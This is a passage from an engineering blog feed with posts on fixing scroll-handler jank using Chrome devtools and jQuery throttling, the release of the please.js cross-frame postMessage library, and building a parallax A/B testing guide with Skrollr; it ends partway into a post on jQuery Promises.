more than our budget of 16ms per frame. <h3 id="issue-detected-scroll-event-script" style="position:relative;"><a href="#issue-detected-scroll-event-script" aria-label="issue detected scroll event script permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Issue detected: Scroll event script</h3> After all this analysis using the devtools we hence come to the conclusion that it's the script executing for every scroll event that is the cause of issue here. Next step in our debug process is finding WHY it is causing it. <h2 id="why-is-it-causing-an-issue" style="position:relative;"><a href="#why-is-it-causing-an-issue" aria-label="why is it causing an issue permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>WHY is it causing an issue?</h2> <h3 id="lets-investigate-the-code" style="position:relative;"><a href="#lets-investigate-the-code" aria-label="lets investigate the code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Let's investigate the code</h3> Our code for the callback bound to the Scroll event is as follows: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">$(window).scroll(function() { var currentScroll = $(this).scrollTop(); // Set the position to current slide if the user scrolls manually. checkpoints.forEach(function(checkpoint, index) { if(currentScroll &lt;= checkpoints[index] &amp;&amp; currentScroll > checkpoints[index - 1]) i = index; if(currentScroll &lt; checkpoints[1]) i = 0; if(i == checkpoints.length - 1) { $("#main_form, .social-icons").css("visibility", "visible"); $("a#scrollDown").fadeOut(); $("a#autoscroll").fadeOut(); } else { $("#main_form, .social-icons").css("visibility", "hidden"); $("a#scrollDown").fadeIn(); $("a#autoscroll").fadeIn(); } if(currentScroll > 0) $("a#scrollUp").fadeIn(); else $("a#scrollUp").fadeOut(); }); });</code></pre></div> This callback function will be our target from now on. <h3 id="scroll-event-is-too-frequent-to-handle-scripts-taking-time" style="position:relative;"><a href="#scroll-event-is-too-frequent-to-handle-scripts-taking-time" aria-label="scroll event is too frequent to handle scripts taking time permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Scroll event is too frequent to handle scripts taking time</h3> First thing that striked me was that the Scroll event is fired too frequently. Every time you scroll on a page, that event is fired multiple times within seconds. Therefore any code that is attached to the Scroll event will be fired with the same frequency. And if that code is computation heavy, we are done! <h2 id="fix" style="position:relative;"><a href="#fix" aria-label="fix permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FIX</h2> To improve the situation here, we have 2 ways: A. Make the Scroll event fire less frequently B. Optimize the callback's code to take less execution time <h3 id="fix-a-make-the-scroll-event-fire-less-frequently" style="position:relative;"><a href="#fix-a-make-the-scroll-event-fire-less-frequently" aria-label="fix a make the scroll event fire less frequently permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FIX A. Make the Scroll event fire less frequently</h3> I could make the Scroll code fire less frequently in our case as it did not had any usability hit. In fact mostly the code thats required to be executed on Scroll event can be run on little longer intervals without any user experience loss. This thing was easy to do. <a href="http://benalman.com/">Ben Alman</a> has an <a href="http://benalman.com/projects/jquery-throttle-debounce-plugin/">awesome jQuery plugin</a> written for throttling/debouncing functions. Its very easy to use too. Simply get the plugin into your page and pass the throttled function to Scroll event like so: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var callback = function () { ... } $(window).scroll( $.throttle(350, callback));</code></pre></div> As you see in above code, I have made my callback to fire atmost once within 350 ms. In other words, there will be atleast an interval of 350 ms between 2 calls to that function. This should probably keep those adjacent long yellow bar at some distant from each. We'll see. <h3 id="test" style="position:relative;"><a href="#test" aria-label="test permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TEST!</h3> We made a small change from our side. But remember, there is no point of it without actually testing the page and getting a performance boost. So lets repeat the profiling procedure again. Here is what we got this time: <div class="img-wrapper"> <img src="/images/2013/07/devtools-iter1-a.png" alt="Result"> </div> Seems to have worked quite a bit! We have lesser frames overshooting the 16ms budget. <h3 id="fix-b-optimize-the-callbacks-code-to-take-less-execution-time" style="position:relative;"><a href="#fix-b-optimize-the-callbacks-code-to-take-less-execution-time" aria-label="fix b optimize the callbacks code to take less execution time permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>FIX B. Optimize the callback's code to take less execution time</h3> Secondly, its also important to optimize the code inside that callback at that is what is causing the frames to go beyond our 16ms budget. If you look closely inside the callback's code and have a basic understanding of what not do while jQuery, you'll see some horrible things happening there. I'll not go in much details on why those things are bad as our focus is on using devtools in this article. Lets list out what all jQuery menace we see in it: <ul> <li>Cache jQuery objects</li> </ul> At many places, jQuery is being used to reference element by passing their selectors again and again in the callback. That is BAD. Unless these references will change in future, its wise to calculate them once and cache for future use. Some of the lines where jQuery is being used unnecessarily: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> var currentScroll = $(this).scrollTop(); // this is always window object</code></pre></div> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> $("#main_form, .social-icons").css("visibility", "visible"); $("a#scrollDown").fadeOut(); $("a#autoscroll").fadeOut();</code></pre></div> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> $("a#scrollUp").fadeIn();</code></pre></div> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> $("a#scrollUp").fadeOut();</code></pre></div> <ul> <li>Unnecessary animation</li> </ul> Have a look at the following code snippet: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">if(i == checkpoints.length - 1) { socialIcons.css("visibility", "visible"); scrollDownBtn.fadeOut(); scrollAutoBtn.fadeOut(); } else { socialIcons.css("visibility", "hidden"); scrollDownBtn.fadeIn(); scrollAutoBtn.fadeIn(); }</code></pre></div> The first <code>if</code> checks if we are on the last iteration of the loop or not. If not, then the <code>else</code> part executes. Which means if the loop runs 100 times, 99 times the <code>else</code> part executes. Moreover if you see carefully the code in the <code>else</code> block, it will keep fading in/out certain elements on each iteration, even when it has done the same thing in past iteration. Taking account the heavy animation account cost in jQuery, this is absolutely unnecessary work being done here. We could simply do that stuff once and set a flag which will be checked next time and we only do it again if the flag is unset somehow. <h3 id="final-code" style="position:relative;"><a href="#final-code" aria-label="final code permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Final code</h3> After the above 2 fixes, here is how our Scroll event callback looks like: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">function scrollHandling() { var currentScroll = $window.scrollTop(); // Set the position to current slide if the user scrolls manually. checkpoints.forEach(function(checkpoint, index) { if(currentScroll &lt;= checkpoints[index] &amp;&amp; currentScroll > checkpoints[index - 1]) i = index; if(currentScroll &lt; checkpoints[1]) i = 0; if(i == checkpoints.length - 1) { socialIcons.css("visibility", "visible"); scrollDownBtn.fadeOut(); scrollAutoBtn.fadeOut(); lastSlideUIapplied = true; } else if (lastSlideUIapplied) { socialIcons.css("visibility", "hidden"); scrollDownBtn.fadeIn(); scrollAutoBtn.fadeIn(); lastSlideUIapplied = false; } if (currentScroll > 0) { scrollUpBtn[0].style.display == 'none' &amp;&amp; scrollUpBtn.fadeIn(); } else { scrollUpBtn.fadeOut(); } }); } $window.scroll( $.throttle(250, scrollHandling));</code></pre></div> <h2 id="test-again" style="position:relative;"><a href="#test-again" aria-label="test again permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>TEST AGAIN!</h2> Needless to say, our next step is to test the changes made. Here is what the timeline says now: <div class="img-wrapper"> <img src="/images/2013/07/devtools-iter1-b.png" alt="Final result"> </div> Bingo! <ul> <li>We hardly have any frames overshooting the target line of 60 FPS.</li> <li>We get an average execute time of 11.71 ms per frame with a standard deviation of around 4.97 ms.</li> </ul> <h2 id="going-further" style="position:relative;"><a href="#going-further" aria-label="going further permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Going further</h2> We still see paint (green) events which are causing some frames to overshoot the border. It is basically on slides where large image are being animated on the screen. Its not that we can scale down the images or stop them from being painted. The solution still needs to be figured out to optimize the painting going on here. Suggestions? <h2 id="last-words" style="position:relative;"><a href="#last-words" aria-label="last words permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Last words</h2> As Chrome folks say it, don’t guess it, test it!</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[please.js - A simple PostMessage based communication library]]></title><description><![CDATA[In one of our previous posts, we talked about the problems we faced when communicating with frames on a different domain in our application…]]></description><link>https://engineering.wingify.com//posts/please-js-release/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/please-js-release/</guid><pubDate>Mon, 15 Jul 2013 00:00:00 GMT</pubDate><content:encoded>In <a href="http://engineering.wingify.com/posts/jquery-promises-with-postmessage/">one of our previous posts</a>, we talked about the problems we faced when communicating with frames on a different domain in our application <a href="http://visualwebsiteoptimizer.com/">Visual Website Optimizer</a>, and highlighted the possible solutions to each of those problems. We are proud to announce <a href="https://github.com/wingify/please.js">please.js</a>, a Request/Response based cross-domain communication. If you've ever faced problems in cross-domain frame communication, fear not - just say please! <div style="text-align: center;"> <a href="https://github.com/wingify/please.js" style="padding: 20px 40px; font-size: 24px;" class="btn btn-primary">please.js on Github</a> </div> <h2 id="what-is-pleasejs" style="position:relative;"><a href="#what-is-pleasejs" aria-label="what is pleasejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>What is please.js</h2> please.js is a Request/Response based wrapper around the PostMessage API that makes use of jQuery Promises. Here's a quick example to load an iframe window's location: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript">var frameWindow = $('iframe').get(0).contentWindow; please(frameWindow).call('window.location.reload');</code></pre></div> please.js is based on top of jQuery and the jQuery Promise API. jQuery version 1.6 or above is preferred. To make the communication between two windows on different domains work, both of them must be injected with the same version of jQuery and please.js. Currently, please.js is an alpha release (0.1.0). Down the line, we would like to add features like support for communication in Chrome Extensions and improving the documentation to make it easier for all users to get started easily. <h2 id="how-it-works" style="position:relative;"><a href="#how-it-works" aria-label="how it works permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>How it works</h2> The underlying concept is simple. Two frames need to communicate with each other asynchronously. To access one of the child frames on a page, the parent frame sends a <code class="language-text">please.Request</code> to the child frame. The <code class="language-text">Request</code> object is a lot like the request sent by the browser to a server. It contains information on what needs to be done in the child frame (call a function, get/set a property or a variable, or access a DOM node using jQuery). The child frame sends a <code class="language-text">please.Response</code> back to the parent frame with the result of what the parent frame asked. For a function call request, it is the return value of that function, and for a get request, the value of the variable/property is returned. <h2 id="contributing" style="position:relative;"><a href="#contributing" aria-label="contributing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Contributing</h2> If you would like to contribute, you can <a href="https://github.com/wingify/please.js/issues">submit an issue</a> on GitHub. Will be great if accompanied by a failing test case and/or a pull request.</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[How We Made The Animated A/B Testing Guide]]></title><description><![CDATA[Recently, we launched our first ever animated guide to A/B testing which made it to the top of HN homepage (Yay!). In this post, I'll go…]]></description><link>https://engineering.wingify.com//posts/making-of-abtesting-scrollmation/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/making-of-abtesting-scrollmation/</guid><pubDate>Mon, 08 Jul 2013 00:00:00 GMT</pubDate><content:encoded><div style="text-align:center; margin:5px"> <img src="/images/posts/hn-bob-post.png"> </div> Recently, we launched our first ever <a href="https://visualwebsiteoptimizer.com/what-is-ab-testing/">animated guide to A/B testing</a> which made it to the top of <a href="https://news.ycombinator.com/item?id=5993914">HN homepage</a> (Yay!). <div style="text-align:center; margin:5px"> <img src="https://phaven-prod.s3.amazonaws.com/files/image_part/asset/956765/Xq0eqxVYXbzyZmOwI4nN5LDsLAw/medium_what.jpg"> </div> In this post, I'll go through the process of how I created the page using HTML5 and JS. Let's get started! <h2 id="setting-up-things" style="position:relative;"><a href="#setting-up-things" aria-label="setting up things permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setting up things</h2> I searched about some existing parallax scrolling JS scripts and came across <a href="https://github.com/Prinzhorn/skrollr">Skrollr.js</a> which made my work a piece of cake! If you are going to create your own parallax scrolling page, then I would recommend you to use this library. Apart from that, I also used <a href="https://github.com/yckart/jquery.scrollto.js">scrollTo.js</a> and <a href="https://github.com/brandonaaron/jquery-mousewheel">mousewheel.js</a> for scroll handling. Also, I wanted to make the images used in that page look sharp on retina screens so I used a little LESS mixin from <a href="http://retinajs.com/">RetinaJS</a> to make sure that retina screens show the images @2x. <h2 id="getting-started" style="position:relative;"><a href="#getting-started" aria-label="getting started permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Getting started</h2> After looking at some examples of Skrollr, I was ready to start building up the page. The best thing about Skrollr is that it automatically set things up for you and also handles the parallax scrolling on mobile devices. Now, I saved two versions (1x and 2x, for retina) of all the images and searched for a good comic font. Each slide on that page is a mixture of some text and image elements. I gave each slide an <code class="language-text">absolute</code> positioning and <code class="language-text">100%</code> width and height. Also, each element in the slides are <code class="language-text">fixed</code> positioned are made to appear and disappear using the <code class="language-text">opacity</code> property. Here's the code for the first slide: <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"> &lt;!-- Slide 1 --> &lt;div class=slide id=slide1> &lt;div class=bob data-0=left: 0%; opacity:0; data-1000=left: 50%; opacity:1; data-3600=left: 50%; opacity:1; data-4800=left: 50%; opacity:0;> &lt;/div> &lt;div class=text data-1200=opacity:0; bottom:0%; margin-bottom: 0 data-2400=opacity:1; bottom:50%; margin-bottom: -46px data-3600=opacity:1; bottom:50%; margin-bottom: -46px; right: 50% data-4800=opacity: 0; bottom: 50%; margin-bottom: -48px; right: 0%> Meet &lt;strong>Bob&lt;/strong> &lt;/div> &lt;/div></code></pre></div> The only thing that Skrollr needs is the <code class="language-text">data-px</code> attribute with some CSS properties passed in that attribute. Here, Bob will be at 0% left having 0 opacity at the start. Now if the user scrolls to 1000px, s/he would see Bob's image appearing from left to the center with increasing opacity. Thats how it works, you just need to time your animations in terms of pixels and Skrollr will handle it for you. Here, both <code class="language-text">bob</code> and <code class="language-text">text</code> are fixed positioned. To make things responsive, I first positioned everything to center using this: <div class="gatsby-highlight" data-language="css"><pre class="language-css"><code class="language-css"> .element { width: 100px; height: 100px; left: 50%; top: 50%; margin-left: -50px; margin-top: -50px; }</code></pre></div> After this, I altered the margins to position it perfectly so that on any resolution it will start from the center. I did the same thing for all the elements in each slide. Most of the elements are animated using CSS3 transforms while others are just faded in and out using <code class="language-text">opacity</code> property. <h2 id="scroll-handling" style="position:relative;"><a href="#scroll-handling" aria-label="scroll handling permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Scroll handling</h2> All this completed 80% of the page. Now, the only thing left was the scroll handling. I had to make sure that on each scroll, a slide should finish the animation properly and should not be left in between. To do this, I created checkpoints of the scroll position where each slide starts/ends. Now on each scroll, I incremented/decremented a counter based on the scroll direction. Based on that counter's current value the page is scrolled to the position from the checkpoints array and any other scroll event is ignored in that duration. Here's the code for this: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> var i = 0; var checkpoints = [0, 3600, 6000, 11200, 14800, 17200]; var timer = [0, 1000, 1000, 1500, 1500, 1500]; function scrollDown() { if(i &lt; checkpoints.length - 1 &amp;&amp; percentage == 100) { i++; $(html, body).scrollTo(0, checkpoints[i], { animation: { easing: linear, duration: timer[i] } }); } } function scrollUp() { if(i > 0) i--; $htmlAndBody.scrollTo(0, checkpoints[i], { animation: { easing: linear, duration: timer[i] } }); }</code></pre></div> I also added keyboard navigation, and put some arrows on the page for easier navigation. Also, after getting reviews from some non-technical people, I added the auto-play option so that all the lazy people would still be able to watch the whole presentation without moving a finger :P This almost completed the whole page. Last additions were creating a preloader for the page which loaded the images of first 5 slides with a progress bar and then rest of the images are loaded in the background. If you want, you can take a look at the <a href="http://visualwebsiteoptimizer.com/what-is-ab-testing/js/preloader.js">preloader.js</a> to see how I did the preloading. Another thing was the share buttons and showing the count which was retrieved using PHP. I hope this covered everything but if you get stuck anywhere, then feel free to add your comments! :)</content:encoded><author>Kushagra Agarwal</author></item><item><title><![CDATA[jQuery Promises: The answer to PostMessage's asynchrony]]></title><description><![CDATA[Visual Website Optimizer's editor component loads a website for editing using a proxy tunnel. It put a big restriction on what kind of…]]></description><link>https://engineering.wingify.com//posts/jquery-promises-with-postmessage/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jquery-promises-with-postmessage/</guid><pubDate>Mon, 17 Jun 2013 00:00:00 GMT</pubDate><content:encoded><a href="http://visualwebsiteoptimizer.com/">Visual Website Optimizer</a>'s editor component loads a website for editing using a proxy tunnel. It put a big restriction on what kind of websites could be loaded in it. Websites behind a firewall, the ones on a local network, or behind HTTP authentication could not be loaded using the tunnel. Other than those, even if the website did load in the editor, chances were that it could break on the frontend due to issues with JavaScript or AJAX communication. You'd ask: why is there a proxy in the first place? Because, if a page contains an iframe on another domain, it cannot access its properties or functions. It is a security feature that browser vendors offer users to protect their privacy. <h2 id="the-problem" style="position:relative;"><a href="#the-problem" aria-label="the problem permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Problem</h2> So, our task at the frontend recently was to eliminate this troublesome middleman and find a solution for cross-domain iframe communication. We knew what the answer was: the <a 